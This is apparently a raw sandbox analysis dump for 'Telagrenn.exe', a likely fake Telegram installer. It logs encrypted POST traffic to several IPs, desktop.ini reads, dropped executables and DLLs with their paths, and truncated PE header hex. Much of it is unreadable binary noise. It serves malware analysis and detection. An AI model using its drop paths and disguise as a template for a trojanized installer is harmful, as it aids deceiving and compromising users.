Cache-control: no-store Content-Length: 96 with response body ==>000000000000000001C3B0C3B92375C394C2BB6A40000000632416055B7EC2BC61785EC29379C29448C2821FC2B0C283C2B3C38AC3A9C2A54BC39F21C2A758C3....... "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "¨,\ã»j@xF`ú?=ÀPh"¯ç}ÙêED¾ÝïRªvº3Zþúùä¬Àâ(ájáng÷ú*YWÆð>ÚgÉ" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 120 with response body ==>000000000000000001C28462C38176C394C2BB6A4000000063241605C3BA3F3DC38050116822C2AFC3A77DC282C399C291C3AA45354DC299C2A7C38E78C39C58......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 156 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "x^{\ã»jxF`OÔh3@ÍUÓ»Ç§þ4nîÖÒàh½$ü§ÑÔýÏ4Éµ¼;}Ý®i/D4ÿbHáxc´nxKyÃ`C^êD×n.iî¶Ãëuz|õGÝ=Mß¨OèÃý¾äy6,â:N1ýôçe$BÂ;ÿ¤.Pk<Ù" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 172 with response body ==>000000000000000001C294C2B2C39A76C394C2BB6A40000000632416054F0CC394683340C38D5501C393C2BB06C387C2A70AC3BEC38DC2B6302763C38461C389......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "¨,\ã»j@xF`ú?=ÀPh"¯ç}ÙêED¾ÝïRªvº3Zþúùä¬Àâ(ájáng÷ú*YWÆð>ÚgÉ" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 104 with response body ==>000000000000000001C29837C39676C394C2BB6A4000000063241605C3BA3F3DC38050116822C2AFC3A77DC282C399C291C3AA45C39CC3A10BC39722C3B1C3B9......., "POST /api HTTP/1.1 Host: 95.161.76.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "@Ð\ã»jTxF`/péJÅtÅ0#ÀPgPN8ÓjA®ó:Àü4j-ÉìOñßBÐ-fë-äáÇüSÛÚã¯Zq§lL¨ù~GnÅG(" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 124 with response body ==>000000000000000001C384C39DC39A76C394C2BB6A40000000632416052F7013C3A97F4AC38574C38530080723C3805067C39DC3ACC292C39FC381C2A1C3AB1B......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 156 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "ÌÎ"^ã»jñ~¾^°ü%ãnoÌ¢ú¿/@Ì'7 ¨/5ý>Á6êÀ_ùéûDä¹LÊçX£òÄnûÔqüV[qz;I ÑÃËÒDîKCµÐ»ÿº±*sq á(ÅbýpdíÏH»õ2ÜìVÏ9" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 104 with response body ==>0000000000000000011CC3A82177C394C2BB6A50000000632416055EC2B0C3BC25C3A3C281C2956E6FC29111C38CC2A2C3BA0BC2BFC38734C2B233C38641C3BA......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 276 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "#^ã»jñ~¾ã5ó1DNÂÿ~f¶e£ÄÜ,3r`uòåò~xUdsjXÈR|wz¯fê\w£ëÌO²ùÜ¥(Z÷`U,§ïåQòÅy¦<Ìªqú;ÍMsÞ9qØ¢*(j$hmêÅ"øIÕ¢|:DÐj^DCôÁ@Ýåi£ÊÔ»ñ£çKFúb«Å=ÁÚnÈñÑe3YVPÖö©q»ïM&îGÓqSjwÞ2£opHÄÚ["v\[á\vÏv4Å#gÍ00000000000000000150421F77C394C2BB6A5000000063241605C3A3C28E35C3B331441C17194EC382C3BF7E66C2B6657117C3845DC3BDC39DC2962E3CC2BAC2......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 488 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "ðqi^ã»jÔ¾ä×ã5ó1DNÂÿ~f¶eqÄ]ýÝ.<ºúÍ+C²úCa³KýdÞÐþKµ·l*ÇÅ®]¬%âMÿù³ìxíîN{=°ôNè#ê¾tµ+Äl·à¡âFrdrhE@#2;â1ÿÈ»K¦,·ø}ïà*Lß±áÃ>êcÏ§7ý/(Ú¨úú·ÿÃ.Jm§Ó§)rcwÔ°Lrø]g§H`Æñ-¼dm¦Pip½ ¸¥ª¯7* Ã£{d`ÒPÃ²tkÆ nÑ³{ëQ«XiyXpÔ{Æß~øülê¬Õ¡CoqY§Ée*À¡Y?¥á¼ªêü2(ÌÕ+»':BIOÉa¢îpFìçlæÈ~µ9T#Õq1×ãs%KzhaÅ´©BéOAÌÃØÓD¢ó000000000000000001C2B4C29D6078C394C2BB6A780200005C07C3A8C390C3A3C28E35C3B331441C17194EC382C3BF7E66C2B6657117C3845DC3BDC39DC2962E......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 340 Connection: Keep-Alive Accept-Encoding: gzip deflate Accept-Language: en-US * User-Agent: Mozilla/5.0" with payload::==> "Bk^ã»j@¾ä×^°ü%ãnoÌ¢ú¿Ç4²3ÆAút_ây7q&J.ËesçýdÞÐþ§ÍTíµçOëÀªN»-ØÒJ÷>/GÄ³Cé¡ÆãoNöcö ÌýîßÁ!÷(Ô'ò¥NëdImP¨N7È¢brµPÕsnùÒp!¹h£?î ã¨¦(ÏÊê~!/:©°h=·»Ùù[¶¤6ð»dûFÇoWÌõÄ')?Ããl¶ná®[ØºXKÍz©K"Á]%Ø¼âè¤ªiAÇ»T´Í2`õy¹ÐúÒ<Û¸4íAUÕ~qIÈv@èÆBÎ3IO#^(¤£)]ÆÕ¥|m©ñÝÁqË" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 652 with response body ==>00000000000000000178046678C394C2BB6A780200005C07C3A8C3905EC2B0C3BC25C3A3C281C2956E6FC29111C38CC2A2C3BA0BC2BFC38734C2B233C38641C3....... "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 544 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "¾ÝkxÔ»j_õã5ó1DNÂÿ~f¶eqÄ]ýÝ.<ºúÍ+þP%eOHyzÖÁ«þcT®kÙ¢É¯i$~>ÂÃt Jæ¾YJ¢ÓHþ´cgMü«²[xÄR58if ½Rù6;8·i`±üJEª@çä?3?ac9öÒh±æáÞð9»pÙfµ5á ëuí6¼À»acâ®/ë:«ÊÇÑ«¾ç+ý¹¤jHBµ¶þ,µî³Ð+Ö´¡H¢)ðVîUK\sbv`²ÕÑÔjt~©¸erÆ±3hr¸Ä%ºmaûkH©ÜaÑÖ¿f¯Íîÿ×Øb@]´èÜ[\zH@$fxc5nSDZà:/¡Ór8ä[ü|)3¼«¬-ô%¬Ißæle(·"¸hó"bÂÕ¨`^Wd\¹×ä^aÂ}>Ê´&³:vç_Tz('iNÓ*±Uc¬I¾G%ü}:0Á¸Ó=k¶AË ÁóV-Ï?h8ö|¹Ràj;¾ T*hA×b±¶tnäh}Z¿5ðÁáu(&÷>Þeêáz1u,·;¥/Åk@»®" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 144 with response body ==>00000000000000000108C285C28B79C394C2BB6A3400000034C3B7C38B3BC3A3C28E35C3B331441C17194EC382C3BF7E66C2B6657117C3845DC3BDC39DC2962E....... "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 592 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "ðPxÔ»j<_õ^°ü%ãnoÌ¢ú¿Ç4²3ÆAút_ây7q&þPwRýH?É¶Uð.#rsì«*Ï±Ríé½6PöáÓe>sý:Oåqïeôè/°&¡²Øªv¥D4ËÝÓí^¨Ã+]ÈEb»¡¦^Ó!Sîá·µ¦æþ¬+Ü£QøÄvéÙìjCXß6$~}³pc)/ßÂâÝç?-)§Ì¬)ãvâ½3¾K»@ò^Ö|:ÐÙoÚ2O(«ÙÔ ØÃ"lôý|x n¿V³íÒfb'ÏÀÈ«¼ ô>Ú3xÍbn¢ÈcºÙÃL½Aym-s¦àï±÷-¸£fÈ´'çBn^Jc°á¨²5XYNlßÝE0÷ZäRüFâêÒÉ\#$îÔºÈeAi[zGÅ·c±>Þ¤¼ó²è$Ùdéúía¤¶¡nº©¢lm"ý§õ/:Ù$§000000000000000001C38872C2807AC394C2BB6A3400000034C3B7C38B3B5EC2B0C3BC25C3A3C281C2956E6FC29111C38CC2A2C3BA0BC2BFC38734C2B233C386....... "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 180 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "ÚÇyÔ»j ñ~¾Ö´æýÃ|ÿOÉ^ôJ$ôóQôù¸]Éâ>#;ÿÏH7<ët¬MÔ-h(d!ÖØÍr.ÝL¤Ð1bæEð>ùÝ¹å{|ÜÀÙåb£wWº¤í|)?_§"Hã «ÇnI&hr§kO©Ê»P¥[ËSö·HÀFÒUéó`v´}ÄX=Êá" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 116 with response body ==>000000000000000001C2B84DC2AE79C394C2BB6A5000000063241605C396C2871DC2B4C3A6C3BDC3837CC287C3BF4FC3895E03C3B44AC3834CC297C3BB21C285......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 480 Connection: Keep-Alive Accept-Encoding: gzip deflate Accept-Language: en-US * User-Agent: Mozilla/5.0" with payload::==> "@]yÔ»jÌ¾ä×Ö´æýÃ|ÿOÉ^ôJÃLû!ü®xà¦|_KgjXypkýdÞÐþfÊàPOµa nw9^s¢©ÔDM»k8kÖT\-u`àºúØ<êWki¾;JVüÏf¨á¥ª0Wl¼$õÚLúº«Ý#£¯x¥ÊËçE¡úQ ^ÇHGÌÓNNÌTóæ×ò¯5¹£móýøVSPçïvO¸NqÔ]w+ª9G³ïKKè.vî´·ÔøÒÄÿf±ÐO.¾´Ö¬¯ñÔ»«¿D)u±ú-º¶',gBò´ÃJ'NÈºjCçJÛìXÉxC°°MçltJ>(|O/xHÃò2þíÉpÜ¡ ³À6ãØê¿sãíþz}vdOjÑµè]âMZ²¯|]É/ä]¨ÚÖ8ôëF±ÂÕ¬ÚoÞÔ¼FµÌ¥ðe²Û<{OGÿ²Rd(Yp5 ~9 "w¯QenWÉÙ1|#Cc¹¯þ¥" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 680 with response body ==>00000000000000000174C3BBC3B079C394C2BB6A780200005C07C3A8C390C396C2871DC2B4C3A6C3BDC3837CC287C3BF4FC3895E03C3B44AC3834CC297C3BB21......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 452 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "`íÕôyÔ»j°_õÖ´æýÃ|ÿOÉ^ôJÃLû!ü®xà¦|_þP"ëÈ)ï7õ \)êâl3ù´LV}/EÎ!úµ4vQ+Æ8000000000000000001C3AC47C2887AC394C2BB6A3400000034C3B7C38B3BC396C2871DC2B4C3A6C3BDC3837CC287C3BF4FC3895E03C3B44AC3834CC297C3BB21......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 592 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "ðPxÔ»j<_õ^°ü%ãnoÌ¢ú¿Ç4²3ÆAút_ây7q&þPwRýH?É¶Uð.#rsì«*Ï±Ríé½6PöáÓe>sý:Oåqïeôè/°&¡²Øªv¥D4ËÝÓí^¨Ã+]ÈEb»¡¦^Ó!Sîá·µ¦æþ¬+Ü£QøÄvéÙìjCXß6$~}³pc)/ßÂâÝç?-)§Ì¬)ãvâ½3¾K»@ò^Ö|:ÐÙoÚ2O(«ÙÔ ØÃ"lôý|x, n¿V³íÒfb'ÏÀÈ«¼ ô>Ú3xÍbn¢ÈcºÙÃL½Aym-s¦àï±÷-¸£fÈ´'çBn^Jc°á¨²5XYNlßÝE0÷ZäRüFâêÒÉ\#$îÔºÈeAi[zGÅ·c±>Þ¤¼ó²è$Ùdéúía¤¶¡nº©¢lm"ý§õ/:Ù$§00000000000000000178C296C2AC7AC394C2BB6A3400000034C3B7C38B3B5EC2B0C3BC25C3A3C281C2956E6FC29111C38CC2A2C3BA0BC2BFC38734C2B233C386......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 456 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "¹âWU¯¯ÀôÛþ¶XRÁiyhÙ5Ü´pºrCÂø8L$òTh¸EmE¦7~O¼{ºè1ñË"Àj4l¬þ ÛGÄöõd¥-pgVn/C29DC2B9C3A2C29D571C55C2AF48C3BF491912C2B4C3941117C38EC2A4C2815B0319650FC3BAC29B24034D1BC284C388C3B41C685765C28A1BC2B14EC2953412......., "POST /api HTTP/1.1 Host: 149.154.175.100:80 Content-Type: application/x-www-form-urlencoded Content-Length: 536 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "¹âWU¯¯vmý£%ïî¦^~e'ùë6Ü½ÉÒm3þ\Ëúcç¨`~^¡q^øâê/wötÖ_ÏçñµFéäüyXËvôÝ¹ÂY÷i&àl|QÔ}Gj-qmöËôxµÊP¬Çjó¨»Ü¿OfaýþÅÄaxË«f²sÞ\J¤YÞ+ÌÝ.Kîw9`rK¦íÔì$×TúÝ<þÇzÊÒ[bG£hRwRp:íoÖ#ÚÛ&Gz]?¬ùQú·ù,ßï¦Yk1çLç39-é^cÞ¹`ÔyûÓxÂ1®ùDB´5c°î3d¨ËSÐA¡tòNâÈ-MÑÆ}ÔOZe¯íz:§ 1½;¨JhÛóÝ5äã`i&ik¸AxìîàAn·GJ4J£w÷o½ý!,5«c1Üê¥4HZ;RVnä®J-¤åaìÐÔªí*øW[t·ÊxMq~7p½,åÕñô3õUÆà¬¹úDè9Òå§Ä§ío×z VZÀ=íéHÅ(öø£"Y.·ÓúVq|hÜTXa/xB§Tý5&!ÍR¡ºD¼àµãOP#°WA«;^fH;Zç" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 504 with response body ==>C29DC2B9C3A2C29D571C55C2AFC3A23246C2903AC28D4EC38BC28BC3997DC3840068C3AF62361B545F7EC3AF5CC395C38BC28EC390486E3BC28376C2A1207975......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 280 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "PýWzÔ»jñ~¾Î{ÃH1£î!±Òqò)ëïÚ2É°9ÎÈ06Õ»õ ÏU¹'çJÛµ¦.iÃÐ0Rü²¿[¢¡ÿJ£âpÝK=ó¹fÐü®`t«^ãèH"jåÙð¶'{BDiýÈÇ úÄb¦L¾u5Ð6!ùG@Ýt®'ùfåÇÅàëZâû;aõ*Ûn_ê..¢Þ8n!¥¶ÈNüÖd<_þÑ/@hö¥ø#º<Å¶hV´¹»DßÙgQ71 sä>xÍU:Éví£TÔÑ¬ì`àâb´oæ¦ÙBÆ)¹wöOb?¢¶" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 172 with response body ==>000000000000000001C3BC35C3B17AC394C2BB6A5000000063241605C38E7BC383054831C289C2A3C3AE21C28DC2B1C3920171C298C3BF6AC29749173FC292C3......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 392 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "@x¢zÔ»jt¾ä×Î{ÃH1£î!±ÒqÿjI?ÓÈ5m£XJV¥jë]KwýdÞÐþâ[}ZÑy¨Ý¬&0WÊ«ñ8"ë°xy´Q1Ó1 éè}G;úIç¨Èþ#Ç¼Ï'5÷ä#±>ô={âyV|~0ÐC`Ã¸úD±½W:y÷Ë³DOdkñZcevÑ-ä¼JGù×®¦Uõ\Eóc¸(²¥2ëze¦J×ØöÈ8¹¯Êµdñütiüc+ì£t"Z¹ÌÛÍUóTo¥e:´ÅêºÍJ×¨ÒòÕa'ªÖ@&xël¯MÀ00000000000000000150C29C497BC394C2BB6A780200005C07C3A8C390C38E7BC383054831C289C2A3C3AE21C28DC2B1C3920171C298C3BF6AC29749173FC292......., "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 540 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "<ôÒx{Ô»j_õÎ{ÃH1£î!±ÒqÿjI?ÓÈ5m£XJþPù||·É<ÊÓràe]£!¸âAå¤6Ìë£D´á2ZãÉÑUËªÞMaÕÐu]q(E,R>ÿù^Jm¾ÑªÝ jÒ_-'*pTSNBÝK²ú*)<¡¯;QNDï6%2-ê5hq-¡)GÐø £¸Z>I!í0]ÛøeHux²¢3û&FtéµF+'àþ0|qCF`T¥¥¨¹Á«ÍÛeî5(_ª?m{·ò¸·±ýäæU|Eû±®RÌä×ñs¥Ù°m?é¢ çDsþCÁp×Ê'ê'tÇæR;Ô%6N¿2jÊ1Øì²ó´Uêë000000000000000001102F187CC394C2BB6A3400000034C3B7C38B3BC38E7BC383054831C289C2A3C3AE21C28DC2B1C3920171C298C3BF6AC29749173FC292C3....... "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 328 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "LBÐ£vÉûMâPb6ÃW±ú¤êAÏÇX >ÉüölåZÕ(I®=âü×{a&çaî:¤ÓjnôªÙjqÔ%-©xf¾m§ ½õÖ8!5ÖYØÎG;ÓS;Ãü/_Å°úxÇlvV[Ãã¬sÜG¢2üÈ/IÒs`V^`Nüì4Ü®:ë®ÖF7ÓIðÊÝv÷%¶Úò×.øWòÞÁÔxpYvÂÝhJlä¬whD5WéMÖ)îôêPØ\0(fù-È³Û¾j_øuÃÊÔ¾¤Ø¦ûnÂËì2ÖfTDg¤·kn÷éCç3°¦·ÌVfr9:G ÃY[¶$N0nsÛnFã?ñ>4ÝR" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 200 with response body ==>4C4202C390C2A376C389C28DC38FC392C2942C471EC2ADC2B77332383415C3AE4DC3A21CC2821CC39F22C3AAC2B5381D15C29358226362C38BC3AB55C2905534....... "POST /api HTTP/1.1 Host: 149.154.167.51:80 Content-Type: application/x-www-form-urlencoded Content-Length: 120 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "LBÐ£vÉ9 `º÷»/o6üñßlìË{*½ô5(|§'~ÁÎÝ(Oÿ[°x[Me-¿EK|×ë5ÎGÉk*ºßßmæw~tk¬(Æ/dÚdê«ÿÒaÛõ.;ñ²Y§CðmäÒz½~í" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 8376 with response body ==>4C4202C390C2A376C389C28D7EC38CC2B01222C2933539C39D034CC3B53BC2B443C2B2C2B6C2B7C2A7C2ADC380C3A85CC287C2876619C29BC2A34E0E3EC39A47....... "POST /api HTTP/1.1 Host: 149.154.175.54:80 Content-Type: application/x-www-form-urlencoded Content-Length: 44 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" with payload::==> "¤NC[|Ô»jxF`Oµ ÜOt=èÀ|A:Ñý,ÛF" HTTP/1.1 200 OK Connection: keep-alive Content-Type: application/octet-stream Pragma: no-cache Cache-control: no-store Content-Length: 96 with response body ==>0000000000000000016416487DC394C2BB6A40000000632416054FC283C2B5C28AC2A0C288C39C4F743DC3A8C3807C413AC39126103006C3B6C3BDC389C2BAC3.......6c:T790,"Telagrenn.exe" reads file "C:\Users\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini" "Telagrenn.exe" reads file "C:\Users\Public\desktop.ini" "Telagrenn.exe" reads file "C:\Users\Public\Desktop\desktop.ini" "Telagrenn.exe" reads file "C:\Program Files (x86)\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "Telagrenn.exe" reads file "C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini" "Telagrenn.exe" reads file "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" "Telagrenn.exe" reads file "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini" "Telagrenn.exe" reads file "C:\Windows\Fonts\desktop.ini" "Telagrenn.exe" reads file "C:\Users\Public\Documents\desktop.ini" "Telagrenn.exe" reads file "C:\Users\Public\Pictures\desktop.ini" "Telagrenn.exe" reads file "C:\Users\Public\Music\desktop.ini" "Telagrenn.exe" reads file "C:\Users\Public\Videos\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "Telagrenn.exe" reads file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History\desktop.ini"6d:Tb01,"System.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 23 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\System\System.exe]- [targetUID: 00000000-00002688] "tsetup-x64.7.0.2.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\gentee2B\tsetup-x64.7.0.2.exe]- [targetUID: 00000000-00007176] "D5rra.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\gentee2B\D5rra.exe]- [targetUID: 00000000-00002688] "CoreLogic.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\is-CAG3H.tmp\CoreLogic.dll]- [targetUID: 00000000-00002688] "genteert.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\genteert.dll]- [targetUID: 00000000-00002804] "guig.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\gentee2B\guig.dll]- [targetUID: 00000000-00002804] "is-E85C2.tmp" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 11 sections"- Location: [%APPDATA%\Telegram Desktop\is-E85C2.tmp]- [targetUID: 00000000-00007736] "is-PVEBQ.tmp" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%APPDATA%\Telegram Desktop\modules\x64\d3d\is-PVEBQ.tmp]- [targetUID: 00000000-00007736] "D5rra.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-DUFEV.tmp\D5rra.tmp]- [targetUID: 00000000-00002688] "is-7JH8E.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%APPDATA%\Telegram Desktop\is-7JH8E.tmp]- [targetUID: 00000000-00007736] "is-2BAEF.tmp" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%APPDATA%\Telegram Desktop\is-2BAEF.tmp]- [targetUID: 00000000-00007736] "is-3R46B.tmp" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-3R46B.tmp]- [targetUID: 00000000-00002688] "is-4O7G3.tmp" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- Location: [%ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-4O7G3.tmp]- [targetUID: 00000000-00002688] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-CAG3H.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00002688] "tsetup-x64.7.0.2.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp]- [targetUID: 00000000-00007176] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-BHBL5.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00002688]6e:Tb15,"Telagrenn.exe" wrote 61440 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\genteert.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Telagrenn.exe" wrote 20480 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\guig.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tsetup-x64.7.0.2.exe" wrote 7720 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a000000000000000000000000000000000000000000496e556e000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "tsetup-x64.7.0.2.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-BHBL5.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tsetup-x64.7.0.2.tmp" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\is-7JH8E.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a000000000000000000000000000000000000000000496e556e000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "D5rra.exe" wrote 51712 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-DUFEV.tmp\D5rra.tmp": 